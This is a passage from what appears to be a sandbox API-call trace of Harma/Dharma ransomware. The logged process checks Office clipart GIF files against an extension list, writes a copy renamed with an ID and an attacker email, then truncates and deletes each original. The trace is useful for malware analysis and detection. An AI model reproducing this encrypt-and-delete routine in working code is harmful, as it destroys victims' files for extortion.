[0066.098] CloseHandle (hObject=0x218) returned 1 [0066.099] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.099] SetEndOfFile (hFile=0x1e4) returned 1 [0066.099] CloseHandle (hObject=0x1e4) returned 1 [0066.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0066.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.100] lstrlenW (lpString=".doc") returned 4 [0066.100] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.100] lstrlenW (lpString=".docx") returned 5 [0066.100] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.100] lstrlenW (lpString=".pdf") returned 4 [0066.100] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.100] lstrlenW (lpString=".xls") returned 4 [0066.100] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.100] lstrlenW (lpString=".xlsx") returned 5 [0066.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.100] lstrlenW (lpString=".ppt") returned 4 [0066.100] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.100] lstrlenW (lpString=".zip") returned 4 [0066.100] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.100] lstrlenW (lpString=".rar") returned 4 [0066.100] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.100] lstrlenW (lpString=".bz2") returned 4 [0066.100] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.100] lstrlenW (lpString=".7z") returned 3 [0066.101] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.101] lstrlenW (lpString=".dbf") returned 4 [0066.101] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.101] lstrlenW (lpString=".1cd") returned 4 [0066.101] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.101] lstrlenW (lpString=".jpg") returned 4 [0066.101] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.101] lstrlenW (lpString=".doc") returned 4 [0066.101] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.101] lstrlenW (lpString=".docx") returned 5 [0066.101] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.101] lstrlenW (lpString=".pdf") returned 4 [0066.101] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.101] lstrlenW (lpString=".xls") returned 4 [0066.101] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.101] lstrlenW (lpString=".xlsx") returned 5 [0066.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.101] lstrlenW (lpString=".ppt") returned 4 [0066.101] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.101] lstrlenW (lpString=".zip") returned 4 [0066.101] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.101] lstrlenW (lpString=".rar") returned 4 [0066.101] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.101] lstrlenW (lpString=".bz2") returned 4 [0066.101] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.101] lstrlenW (lpString=".7z") returned 3 [0066.102] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.102] lstrlenW (lpString=".dbf") returned 4 [0066.102] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.102] lstrlenW (lpString=".1cd") returned 4 [0066.102] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0066.102] lstrlenW (lpString=".jpg") returned 4 [0066.102] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.102] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.102] lstrlenW (lpString="AG00040_.GIF") returned 12 [0066.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.102] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8097) returned 1 [0066.102] CloseHandle (hObject=0x1e4) returned 1 [0066.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0066.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.103] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.103] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.103] GetLastError () returned 0x0 [0066.103] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0066.105] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0066.106] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.106] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.106] SetEndOfFile (hFile=0x218) returned 1 [0066.106] CloseHandle (hObject=0x218) returned 1 [0066.106] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.106] SetEndOfFile (hFile=0x1e4) returned 1 [0066.107] CloseHandle (hObject=0x1e4) returned 1 [0066.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0066.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.108] lstrlenW (lpString=".doc") returned 4 [0066.108] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.108] lstrlenW (lpString=".docx") returned 5 [0066.108] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.108] lstrlenW (lpString=".pdf") returned 4 [0066.108] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.108] lstrlenW (lpString=".xls") returned 4 [0066.108] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.108] lstrlenW (lpString=".xlsx") returned 5 [0066.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.108] lstrlenW (lpString=".ppt") returned 4 [0066.108] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.108] lstrlenW (lpString=".zip") returned 4 [0066.108] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.108] lstrlenW (lpString=".rar") returned 4 [0066.108] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.108] lstrlenW (lpString=".bz2") returned 4 [0066.108] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.108] lstrlenW (lpString=".7z") returned 3 [0066.108] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.108] lstrlenW (lpString=".dbf") returned 4 [0066.109] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.109] lstrlenW (lpString=".1cd") returned 4 [0066.109] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.109] lstrlenW (lpString=".jpg") returned 4 [0066.109] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.109] lstrlenW (lpString=".doc") returned 4 [0066.109] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.109] lstrlenW (lpString=".docx") returned 5 [0066.109] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.109] lstrlenW (lpString=".pdf") returned 4 [0066.109] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.109] lstrlenW (lpString=".xls") returned 4 [0066.109] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.109] lstrlenW (lpString=".xlsx") returned 5 [0066.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.109] lstrlenW (lpString=".ppt") returned 4 [0066.109] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.109] lstrlenW (lpString=".zip") returned 4 [0066.109] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.109] lstrlenW (lpString=".rar") returned 4 [0066.109] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.109] lstrlenW (lpString=".bz2") returned 4 [0066.109] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.109] lstrlenW (lpString=".7z") returned 3 [0066.109] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.109] lstrlenW (lpString=".dbf") returned 4 [0066.110] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.110] lstrlenW (lpString=".1cd") returned 4 [0066.110] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0066.110] lstrlenW (lpString=".jpg") returned 4 [0066.110] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.110] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.110] lstrlenW (lpString="AG00052_.GIF") returned 12 [0066.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.110] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=7686) returned 1 [0066.110] CloseHandle (hObject=0x1e4) returned 1 [0066.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0066.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.111] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.111] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.111] GetLastError () returned 0x0 [0066.111] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0066.113] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0066.114] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.114] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.114] SetEndOfFile (hFile=0x218) returned 1 [0066.114] CloseHandle (hObject=0x218) returned 1 [0066.114] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.114] SetEndOfFile (hFile=0x1e4) returned 1 [0066.115] CloseHandle (hObject=0x1e4) returned 1 [0066.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0066.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.115] lstrlenW (lpString=".doc") returned 4 [0066.115] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.116] lstrlenW (lpString=".docx") returned 5 [0066.116] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.116] lstrlenW (lpString=".pdf") returned 4 [0066.116] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.116] lstrlenW (lpString=".xls") returned 4 [0066.116] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.116] lstrlenW (lpString=".xlsx") returned 5 [0066.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.116] lstrlenW (lpString=".ppt") returned 4 [0066.116] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.116] lstrlenW (lpString=".zip") returned 4 [0066.116] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.116] lstrlenW (lpString=".rar") returned 4 [0066.116] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.116] lstrlenW (lpString=".bz2") returned 4 [0066.116] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.116] lstrlenW (lpString=".7z") returned 3 [0066.116] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.116] lstrlenW (lpString=".dbf") returned 4 [0066.116] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.116] lstrlenW (lpString=".1cd") returned 4 [0066.116] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.116] lstrlenW (lpString=".jpg") returned 4 [0066.116] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.116] lstrlenW (lpString=".doc") returned 4 [0066.116] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.116] lstrlenW (lpString=".docx") returned 5 [0066.117] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.117] lstrlenW (lpString=".pdf") returned 4 [0066.117] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.117] lstrlenW (lpString=".xls") returned 4 [0066.117] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.117] lstrlenW (lpString=".xlsx") returned 5 [0066.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.117] lstrlenW (lpString=".ppt") returned 4 [0066.117] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.117] lstrlenW (lpString=".zip") returned 4 [0066.117] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.117] lstrlenW (lpString=".rar") returned 4 [0066.117] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.117] lstrlenW (lpString=".bz2") returned 4 [0066.117] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.117] lstrlenW (lpString=".7z") returned 3 [0066.117] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.117] lstrlenW (lpString=".dbf") returned 4 [0066.117] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.117] lstrlenW (lpString=".1cd") returned 4 [0066.117] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0066.117] lstrlenW (lpString=".jpg") returned 4 [0066.117] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.117] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.117] lstrlenW (lpString="AG00057_.GIF") returned 12 [0066.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.118] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=11891) returned 1 [0066.118] CloseHandle (hObject=0x1e4) returned 1 [0066.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0066.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.118] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.118] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.118] GetLastError () returned 0x0 [0066.119] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x2e73, lpOverlapped=0x0) returned 1 [0066.120] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0066.121] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.121] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.121] SetEndOfFile (hFile=0x218) returned 1 [0066.121] CloseHandle (hObject=0x218) returned 1 [0066.122] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.122] SetEndOfFile (hFile=0x1e4) returned 1 [0066.122] CloseHandle (hObject=0x1e4) returned 1 [0066.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) 